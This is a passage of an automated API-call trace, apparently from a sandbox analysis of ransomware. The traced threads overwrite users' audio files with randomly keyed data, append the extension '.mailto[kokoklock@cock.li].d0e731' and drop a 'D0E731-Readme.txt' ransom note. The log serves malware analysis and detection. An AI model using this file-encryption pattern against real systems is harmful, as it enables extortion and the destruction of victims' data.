Users\\Microsoft\\Search\\Data" [0077.652] wcscat (in: _Dest=0x3427410, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\" [0077.652] wcscat (in: _Dest=0x3427410, _Source="Temp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp" [0077.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3427410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708 [0077.653] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33f3510 | out: lpFindFileData=0x33f3510*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b7d74b9, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2b7d74b9, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0077.653] FindClose (in: hFindFile=0x34345a8 | out: hFindFile=0x34345a8) returned 1 [0077.653] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f3510) returned 1 [0077.653] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ff40) returned 1 [0077.653] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fb20) returned 1 [0077.653] RtlExitUserThread (Status=0x0) Thread: id = 758 os_tid = 0x1224 [0075.410] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\ClickToRunPackageLocker" (normalized: "c:\\users\\all users\\microsoft\\office\\clicktorunpackagelocker")) returned 0x20 [0075.410] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\ClickToRunPackageLocker", dwFileAttributes=0x20) returned 1 [0075.410] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\ClickToRunPackageLocker" (normalized: "c:\\users\\all users\\microsoft\\office\\clicktorunpackagelocker"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.410] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\ClickToRunPackageLocker", dwFileAttributes=0x20) returned 1 [0075.410] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccbf0) returned 1 [0075.411] RtlExitUserThread (Status=0x0) Thread: id = 759 os_tid = 0x1228 [0075.412] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\-zxptqeotk2t.m4a")) returned 0x20 [0075.412] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a", dwFileAttributes=0x20) returned 1 [0075.412] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\-zxptqeotk2t.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9dc [0075.412] GetFileSizeEx (in: hFile=0x9dc, lpFileSize=0x1c93fe38 | out: lpFileSize=0x1c93fe38*=20930) returned 1 [0075.412] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x51be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.412] ReadFile (in: hFile=0x9dc, lpBuffer=0x1c93fe0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1c93fe08, lpOverlapped=0x0 | out: lpBuffer=0x1c93fe0c*, lpNumberOfBytesRead=0x1c93fe08*=0x4, lpOverlapped=0x0) returned 1 [0075.412] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.412] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34795c0 [0075.412] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0075.412] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479390 [0075.412] NtQuerySystemTime (in: CurrentTime=0x1c93fde4 | out: CurrentTime=0x1c93fde4*=132121176333002656) returned 0x0 [0075.412] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0xa446cb2f [0075.412] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0x8ac26499 [0075.412] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0xaf49234b [0075.412] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0xfe0b0397 [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0x8b6d2fd4 [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0xec74135 [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0x70761a11 [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0x71e29790 [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0x9830fce0 [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0x8bf7bd1b [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0x9a8ecb59 [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0xc9557ca8 [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0x39892b9c [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0x8490ced8 [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0xf8af51f5 [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0x58209543 [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0x8f3bde89 [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0x30b7d8aa [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0x34dada40 [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0x2ef6c53f [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0x9bbdfe4c [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0x3db5ab5e [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0x2e72116 [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0xc1e6c326 [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0x9a9bb24e [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0x490b5dfc [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0x9ac95a16 [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0xccdfda9e [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0xd887b83a [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0xc255ebe5 [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0xc181c9a6 [0075.413] RtlRandom (in: Seed=0x1c93fdf0 | out: Seed=0x1c93fdf0) returned 0x68c339d3 [0075.424] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.424] ReadFile (in: hFile=0x9dc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1c93fdbc, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1c93fdbc*=0x4096, lpOverlapped=0x0) returned 1 [0075.424] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.424] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0075.424] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0075.424] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.424] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.425] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.425] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479480 [0075.425] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34794a8 [0075.425] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34794a8) returned 1 [0075.425] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.425] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.425] WriteFile (in: hFile=0x9dc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1c93fdbc, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1c93fdbc*=0x4096, lpOverlapped=0x0) returned 1 [0075.425] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.425] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x51c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.425] WriteFile (in: hFile=0x9dc, lpBuffer=0x3479480*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c93fdf4, lpOverlapped=0x0 | out: lpBuffer=0x3479480*, lpNumberOfBytesWritten=0x1c93fdf4*=0x20, lpOverlapped=0x0) returned 1 [0075.426] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479480) returned 1 [0075.426] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.426] WriteFile (in: hFile=0x9dc, lpBuffer=0x3479408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1c93fe08, lpOverlapped=0x0 | out: lpBuffer=0x3479408*, lpNumberOfBytesWritten=0x1c93fe08*=0x8, lpOverlapped=0x0) returned 1 [0075.426] WriteFile (in: hFile=0x9dc, lpBuffer=0x1c93fe20*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c93fe08, lpOverlapped=0x0 | out: lpBuffer=0x1c93fe20*, lpNumberOfBytesWritten=0x1c93fe08*=0x4, lpOverlapped=0x0) returned 1 [0075.426] WriteFile (in: hFile=0x9dc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c93fe08, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1c93fe08*=0x4, lpOverlapped=0x0) returned 1 [0075.426] WriteFile (in: hFile=0x9dc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1c93fe08, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1c93fe08*=0x6c, lpOverlapped=0x0) returned 1 [0075.426] WriteFile (in: hFile=0x9dc, lpBuffer=0x3479688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c93fe08, lpOverlapped=0x0 | out: lpBuffer=0x3479688*, lpNumberOfBytesWritten=0x1c93fe08*=0x20, lpOverlapped=0x0) returned 1 [0075.426] WriteFile (in: hFile=0x9dc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c93fe08, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1c93fe08*=0x4, lpOverlapped=0x0) returned 1 [0075.426] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0075.426] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34793b8) returned 1 [0075.426] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479408) returned 1 [0075.426] CloseHandle (hObject=0x9dc) returned 1 [0075.426] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd4) returned 0x347ab80 [0075.426] wcscpy (in: _Dest=0x347ab80, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a" [0075.426] wcscat (in: _Dest=0x347ab80, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a.mailto[kokoklock@cock.li].d0e731" [0075.427] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\-zxptqeotk2t.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\-zxptqeotk2t.m4a.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.427] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.427] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ab80) returned 1 [0075.427] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a", dwFileAttributes=0x20) returned 0 [0075.428] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eaeb0 [0075.428] wcscpy (in: _Dest=0x33eaeb0, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\" [0075.428] wcscat (in: _Dest=0x33eaeb0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\D0E731-Readme.txt" [0075.428] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\d0e731-readme.txt")) returned 0xffffffff [0075.428] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9dc [0075.429] WriteFile (in: hFile=0x9dc, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1c93fe04, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1c93fe04*=0x481, lpOverlapped=0x0) returned 1 [0075.430] CloseHandle (hObject=0x9dc) returned 1 [0075.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eaeb0) returned 1 [0075.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ead70) returned 1 [0075.430] RtlExitUserThread (Status=0x1) Thread: id = 760 os_tid = 0x122c [0075.432] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\bp18etyn.m4a")) returned 0x20 [0075.432] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a", dwFileAttributes=0x20) returned 1 [0075.432] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\bp18etyn.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9dc [0075.433] GetFileSizeEx (in: hFile=0x9dc, lpFileSize=0x1c9bf788 | out: lpFileSize=0x1c9bf788*=90585) returned 1 [0075.433] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x161d5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.433] ReadFile (in: hFile=0x9dc, lpBuffer=0x1c9bf75c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1c9bf758, lpOverlapped=0x0 | out: lpBuffer=0x1c9bf75c*, lpNumberOfBytesRead=0x1c9bf758*=0x4, lpOverlapped=0x0) returned 1 [0075.433] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34795c0 [0075.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0075.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34793b8 [0075.433] NtQuerySystemTime (in: CurrentTime=0x1c9bf734 | out: CurrentTime=0x1c9bf734*=132121176333315086) returned 0x0 [0075.433] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x310bbed7 [0075.433] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0xe7cfeee8 [0075.433] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x2a2fe040 [0075.433] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x30b19cdc [0075.433] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x389d8192 [0075.433] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0xc05938e [0075.433] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x3d75369 [0075.433] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x4d7d8064 [0075.433] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x455b3523 [0075.433] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x168e54e [0075.433] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0xd9fb2056 [0075.433] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x370e504d [0075.433] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x49e6d732 [0075.433] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x2a1bde23 [0075.433] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x87233e2a [0075.433] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x1ca5952f [0075.433] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x29d00650 [0075.433] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x2a986492 [0075.433] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x4a119b31 [0075.434] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x3d0835ba [0075.434] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x1652833c [0075.434] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0xa0f70c03 [0075.434] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x1d007f8a [0075.434] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x40895e11 [0075.434] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x8361a9ad [0075.434] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x7606da27 [0075.434] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x3304f2c6 [0075.434] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x4a76288b [0075.434] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x732065c [0075.434] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0xd1e1caea [0075.434] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0xdfbbce48 [0075.434] RtlRandom (in: Seed=0x1c9bf740 | out: Seed=0x1c9bf740) returned 0x26bc51a3 [0075.445] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.445] ReadFile (in: hFile=0x9dc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1c9bf70c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1c9bf70c*=0x4096, lpOverlapped=0x0) returned 1 [0075.445] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.445] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0075.445] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0075.445] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.445] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.445] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.446] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34794a8 [0075.446] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34794d0 [0075.446] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34794d0) returned 1 [0075.446] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.446] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.446] WriteFile (in: hFile=0x9dc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1c9bf70c, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1c9bf70c*=0x4096, lpOverlapped=0x0) returned 1 [0075.446] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.446] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x161d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.446] WriteFile (in: hFile=0x9dc, lpBuffer=0x34794a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c9bf744, lpOverlapped=0x0 | out: lpBuffer=0x34794a8*, lpNumberOfBytesWritten=0x1c9bf744*=0x20, lpOverlapped=0x0) returned 1 [0075.446] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34794a8) returned 1 [0075.446] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.446] WriteFile (in: hFile=0x9dc, lpBuffer=0x3479480*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1c9bf758, lpOverlapped=0x0 | out: lpBuffer=0x3479480*, lpNumberOfBytesWritten=0x1c9bf758*=0x8, lpOverlapped=0x0) returned 1 [0075.446] WriteFile (in: hFile=0x9dc, lpBuffer=0x1c9bf770*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c9bf758, lpOverlapped=0x0 | out: lpBuffer=0x1c9bf770*, lpNumberOfBytesWritten=0x1c9bf758*=0x4, lpOverlapped=0x0) returned 1 [0075.446] WriteFile (in: hFile=0x9dc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c9bf758, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1c9bf758*=0x4, lpOverlapped=0x0) returned 1 [0075.446] WriteFile (in: hFile=0x9dc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1c9bf758, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1c9bf758*=0x6c, lpOverlapped=0x0) returned 1 [0075.447] WriteFile (in: hFile=0x9dc, lpBuffer=0x3479688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c9bf758, lpOverlapped=0x0 | out: lpBuffer=0x3479688*, lpNumberOfBytesWritten=0x1c9bf758*=0x20, lpOverlapped=0x0) returned 1 [0075.447] WriteFile (in: hFile=0x9dc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c9bf758, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1c9bf758*=0x4, lpOverlapped=0x0) returned 1 [0075.447] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0075.447] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479408) returned 1 [0075.447] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479480) returned 1 [0075.447] CloseHandle (hObject=0x9dc) returned 